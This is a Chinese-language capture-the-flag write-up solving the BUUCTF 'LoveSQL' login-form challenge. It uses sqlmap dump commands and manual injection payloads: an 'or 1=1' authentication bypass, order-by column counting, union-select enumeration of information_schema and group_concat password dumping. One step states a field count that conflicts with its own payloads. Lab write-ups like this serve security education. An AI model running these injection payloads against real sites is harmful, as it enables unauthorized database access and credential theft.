题目来源:BUUCTF [极客大挑战 2019]LoveSQL 1
目录
一、打开靶机,分析信息
题目提示这道题是sql注入
查看源码,获取信息:①可尝试sqlmap;②可以手工注入
二、sqlmap解题——文件类
step 1:通过url进行爆破
直接复制url,使用 -u 进行爆破,但是总感觉哪里怪怪的,应该是传参的内容不太合适,所以改用文件方式进行爆破
step 2:抓包并将信息保存为文件进行爆破数据库
bp抓包后将信息保存在桌面的1.txt文件中,用-r指令进行爆破
口令:
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -dbs
得到5个数据库名,geek数据库最可疑,进行爆破
step 3:爆表
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek --tables
得到两个表,其中 l0ve1ysq1列 最可疑
step 4:爆列的所有信息
python sqlmap.py -r "C:\Users\AR439\Desktop\1.txt" -p username --batch -D geek -T l0ve1ysq1 --dump
得到flag
三、手工注入爆破——万能密码
step 1:万能密码注入
username:1’ or 1=1 # password:随便
注入点正确
step 2:判断字段数
%23是url编码后的#
1' order by 3 %23
1' order by 4 %23
所以可以得到字段数为2
step 3:爆数据库
这里可以加一步判断回显点
1' union select 1,2,3%23
爆出数据库
1' union select database(),database(),database()%23
得到数据库名geek
step 4:爆表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'
step 5:爆列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23
step 6:爆具体数据
1' union select 1,2,password from geek.l0ve1ysq1 %23
得到了我们不需要的东西,所以应该一次性把数据全部输出
1' union select 1,2,group_concat(password) from geek.l0ve1ysq1 %23
太长了,直接看源代码,得到flag为flag{8e405a18-97b4-4393-9991-ec7de04d993c}
四、小结
拿到题先寻找注入点,而后判断注入类型,尝试用万能密码登陆,sqlmap的使用很重要